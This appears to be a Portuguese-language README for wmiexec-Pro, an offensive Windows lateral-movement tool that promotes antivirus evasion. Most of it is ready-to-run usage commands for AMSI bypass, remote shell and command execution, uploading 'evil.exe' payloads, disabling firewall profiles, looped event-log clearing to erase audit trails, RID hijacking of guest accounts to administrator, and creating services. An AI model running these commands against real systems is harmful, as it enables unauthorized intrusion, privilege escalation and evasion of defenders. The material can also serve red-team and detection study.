
Nova geração do wmiexec.py
<a name="readme-top"></a>
# wmiexec-Pro
Nova geração do wmiexec.py.
#### Índice
<ol>
<li>
<a href="#info">Informações</a>
</li>
<li>
<a href="#special-thanks">Agradecimentos especiais</a>
</li>
<li>
<a href="#features">Funcionalidades</a>
</li>
<li>
<a href="#getting-started">Começando</a>
<ul>
<li><a href="#installation">Instalação</a></li>
</ul>
</li>
<li><a href="#usage">Uso</a></li>
<li><a href="#screenshots">Capturas de tela</a></li>
<li><a href="#how-it-works">Como funciona?</a></li>
<li><a href="#disclaimer">Aviso legal</a></li>
<li><a href="#references">Referências</a></li>
</ol>
## Informações
A nova geração do wmiexec.py, com mais novas funcionalidades. Todas as operações funcionam apenas com a porta 135 (não é necessária conexão SMB) para evasão de AV em movimento lateral (Windows Defender, HuoRong, 360)
<p align="right">(<a href="#readme-top">voltar ao topo</a>)</p>
## Agradecimentos especiais
##### @[422926799](https://github.com/422926799)
<p align="right">(<a href="#readme-top">voltar ao topo</a>)</p>
## Funcionalidades
- Recurso principal: Evasão de AV
- Recurso principal: Não é necessário o `win32_process`
- Recurso principal: Apenas a porta 135 é necessária.
- Novo módulo: bypass de AMSI
- Novo módulo: transferência de arquivos
- Novo módulo: habilitação remota de RDP via método de classe WMI
- Novo módulo: abuso do firewall do Windows
- Novo módulo: limpeza em loop do log de eventos
- Novo módulo: habilitação remota do WinRM sem tocar no CMD
- Novo módulo: gerenciador de serviços
- Novo módulo: RID-Hijack
- Melhoria: obter a saída da execução de comandos de uma nova forma
- Melhoria: executar arquivo VBS
<p align="right">(<a href="#readme-top">voltar ao topo</a>)</p>
## Começando
### Instalação
_Apenas é necessária a versão mais recente do Impacket_
1. Clone o repositório do impacket
```sh
git clone https://github.com/fortra/impacket
```
2. Instale o impacket
```sh
cd impacket && sudo pip3 install .
```
3. Aproveite :)
```sh
git clone https://github.com/XiaoliChan/wmiexec-Pro
```
<p align="right">(<a href="#readme-top">voltar ao topo</a>)</p>
## Uso
```
python3 wmiexec-pro.py [[domain/]username[:password]@]<targetName or address> module -h
Basic enumeration:
python3 wmiexec-pro.py administrator:[email protected] enum -run
Enable/disable amsi bypass:
python3 wmiexec-pro.py administrator:[email protected] amsi -enable
python3 wmiexec-pro.py administrator:[email protected] amsi -disable
Execute command:
python3 wmiexec-pro.py administrator:[email protected] exec-command -shell (Launch a semi-interactive shell)
python3 wmiexec-pro.py administrator:[email protected] exec-command -command "whoami" (Default is with output mode)
python3 wmiexec-pro.py administrator:[email protected] exec-command -command "whoami" -silent (Silent mode)
python3 wmiexec-pro.py administrator:[email protected] exec-command -command "whoami" -silent -old (Slient mode in old version OS, such as server 2003)
python3 wmiexec-pro.py administrator:[email protected] exec-command -command "whoami" -old (With output in old version OS, such as server 2003)
python3 wmiexec-pro.py administrator:[email protected] exec-command -command "whoami" -save (With output and save output to file)
python3 wmiexec-pro.py administrator:[email protected] exec-command -command "whoami" -old -save
python3 wmiexec-pro.py administrator:[email protected] exec-command -clear (Remove temporary class for command result storage)
Filetransfer:
python3 wmiexec-pro.py administrator:[email protected] filetransfer -upload -src-file "./evil.exe" -dest-file "C:\windows\temp\evil.exe" (Upload file over 512KB)
python3 wmiexec-pro.py administrator:[email protected] filetransfer -download -src-file "C:\windows\temp\evil.exe" -dest-file "/tmp/evil.exe" (Download file over 512KB)
python3 wmiexec-pro.py administrator:[email protected] filetransfer -clear (Remove temporary class for file transfer)
RDP:
python3 wmiexec-pro.py administrator:[email protected] rdp -enable (Auto configure firewall)
python3 wmiexec-pro.py administrator:[email protected] rdp -enable -old (For old version OS, such as server 2003)
python3 wmiexec-pro.py administrator:[email protected] rdp -enable-ram (Enable Restricted Admin Mode for PTH, not support old version OS, such as server 2003)
python3 wmiexec-pro.py administrator:[email protected] rdp -disable
python3 wmiexec-pro.py administrator:[email protected] rdp -disable -old (For old version OS, such as server 2003, not support old version OS, such as server 2003)
python3 wmiexec-pro.py administrator:[email protected] rdp -disable-ram (Disable Restricted Admin Mode)
WinRM (Only support win7+):
python3 wmiexec-pro.py administrator:[email protected] winrm -enable
python3 wmiexec-pro.py administrator:[email protected] winrm -disable
Firewall (Only support win8+):
python3 wmiexec-pro.py administrator:[email protected] firewall -search-port 445
python3 wmiexec-pro.py administrator:[email protected] firewall -dump (Dump all firewall rules)
python3 wmiexec-pro.py administrator:[email protected] firewall -rule-id (ID from search port) -action [enable/disable/remove] (enable, disable, remove specify rule)
python3 wmiexec-pro.py administrator:[email protected] firewall -firewall-profile enable (Enable all firewall profiles)
python3 wmiexec-pro.py administrator:[email protected] firewall -firewall-profile disable (Disable all firewall profiles)
Services:
python3 wmiexec-pro.py administrator:[email protected] service -action create -service-name "test" -display-name "For test" -bin-path 'C:\windows\system32\calc.exe'
python3 wmiexec-pro.py administrator:[email protected] service -action create -service-name "test" -display-name "For test" -bin-path 'C:\windows\system32\calc.exe' -class "Win32_TerminalService" (Create service via alternative class)
python3 wmiexec-pro.py administrator:[email protected] service -action start -service-name "test"
python3 wmiexec-pro.py administrator:[email protected] service -action stop -service-name "test"
python3 wmiexec-pro.py administrator:[email protected] service -action disable -service-name "test"
python3 wmiexec-pro.py administrator:[email protected] service -action auto-start -service-name "test"
python3 wmiexec-pro.py administrator:[email protected] service -action manual-start -service-name "test"
python3 wmiexec-pro.py administrator:[email protected] service -action getinfo -service-name "test"
python3 wmiexec-pro.py administrator:[email protected] service -action delete -service-name "test"
python3 wmiexec-pro.py administrator:[email protected] service -dump all-services.json
Eventlog:
python3 wmiexec-pro.py administrator:[email protected] eventlog -risk-i-know (Looping cleaning eventlog)
python3 wmiexec-pro.py administrator:[email protected] eventlog -retrive object-ID (Stop looping cleaning eventlog)
RID Hijack:
python3 wmiexec-pro.py administrator:[email protected] rid-hijack -user 501 -action grant (Grant access permissions for SAM/SAM subkey in registry)
python3 wmiexec-pro.py administrator:[email protected] rid-hijack -user 501 -action grant-old (For old version OS, such as server 2003)
python3 wmiexec-pro.py administrator:[email protected] rid-hijack -user 501 -action activate (Activate user)
python3 wmiexec-pro.py administrator:[email protected] rid-hijack -user 501 -action deactivate (Deactivate user)
python3 wmiexec-pro.py administrator:[email protected] rid-hijack -user 501 -action hijack -user 501 -hijack-rid 500 (Hijack guest user rid 501 to administrator rid 500)
python3 wmiexec-pro.py administrator:[email protected] rid-hijack -blank-pass-login enable (Enable blank password login)
python3 wmiexec-pro.py administrator:[email protected] rid-hijack -blank-pass-login disable
python3 wmiexec-pro.py administrator:[email protected] rid-hijack -user 500 -action backup (This will save user profile data as json file)
python3 wmiexec-pro.py [email protected] -no-pass rid-hijack -user 500 -remove (Use guest user remove administrator user profile after rid hijacked)
python3 wmiexec-pro.py [email protected] -no-pass rid-hijack -restore "backup.json" (Restore user profile for target user)
```
<p align="right">(<a href="#readme-top">voltar ao topo</a>)</p>
## Capturas de tela
- Ajuda
- 
- exec-command
- 
- filetransfer
- enviar arquivo

- baixar arquivo

<p align="right">(<a href="#readme-top">voltar ao topo</a>)</p>
## Como funciona?
- Módulo AMSI:
- Técnica de Tal-Liberman da Black Hat Asia 2018.
- Módulo exec-command:
- Melhoria do projeto anterior: [wmiexec-RegOut](https://github.com/XiaoliChan/wmiexec-RegOut), obtém a saída da classe WMI em vez do registro.
- Módulo filetransfer:
- Para upload: codifica o arquivo de origem como strings base64 no dropper chamado `WriteFile.vbs` e cria uma nova instância do objeto `ActiveScriptEventConsumer` para executar o dropper.
- Para download: cria remotamente uma classe para armazenar dados e executa o codificador `LocalFileIntoClass.vbs` para codificar o arquivo e armazenar os dados na classe recém-criada.
- Módulo rdp:
- Para habilitar/desabilitar: serviços RDP: controla diretamente o objeto `TerminalServices`.
- Para habilitar/desabilitar: Modo Administrador Restrito: controla a chave do registro `DisableRestrictedAdmin` via classe `StdRegProv`.
- Módulo winrm:
- Para habilitar/desabilitar: invoca o módulo de serviço.
- Para regras de firewall: use o módulo `firewall.py` para configurar o firewall do WinRM.
- Módulo firewall:
- Abusando das classes `MSFT_NetProtocolPortFilter`, `MSFT_NetFirewallRule`, `MSFT_NetFirewallProfile`.
- Módulo service:
- Abusando das classes `Win32_Service`.
- Módulo eventlog:
- Executa o arquivo de script VBS `ClearEventlog.vbs` sem remover `event` e `consumer`.
- Módulo execute-vbs:
- Extraído de `wmipersist.py`.
- Método classMethodEx:
- Para criar classe: execute o script VBS: `CreateClass.vbs` para criar uma classe simples. (Por quê? Não faço ideia de como usar o método `PutClass` no impacket.)
- Para remover classe: chame o método `DeleteClass` para remover a classe.
<p align="right">(<a href="#readme-top">voltar ao topo</a>)</p>
## Aviso legal
O espírito desta iniciativa de código aberto é ajudar pesquisadores de segurança e a comunidade a acelerar atividades de pesquisa e educação relacionadas à implementação de protocolos e pilhas de rede.
As informações neste repositório são para fins de pesquisa e educação e não se destinam ao uso em ambientes de produção e/ou como parte de produtos comerciais.
Se você deseja usar este código ou parte dele para seus próprios fins, recomendamos aplicar um ciclo de vida de desenvolvimento seguro adequado e práticas de codificação segura, bem como gerar e monitorar os respectivos indicadores de comprometimento de acordo com suas necessidades.
<p align="right">(<a href="#readme-top">voltar ao topo</a>)</p>
## Referências
* [GhostPack/SharpWMI](https://github.com/GhostPack/SharpWMI)
* [impacket](https://github.com/fortra/impacket/)
* [WMIHACKER](https://github.com/rootclay/WMIHACKER)
* [Microsoft WMI Docs](https://learn.microsoft.com/en-us/windows/win32/cimwin32prov/operating-system-classes)
* [Microsoft VBScripts Docs](https://learn.microsoft.com/en-us/windows/win32/wmisdk/creating-a-wmi-script)
<p align="right">(<a href="#readme-top">voltar ao topo</a>)</p>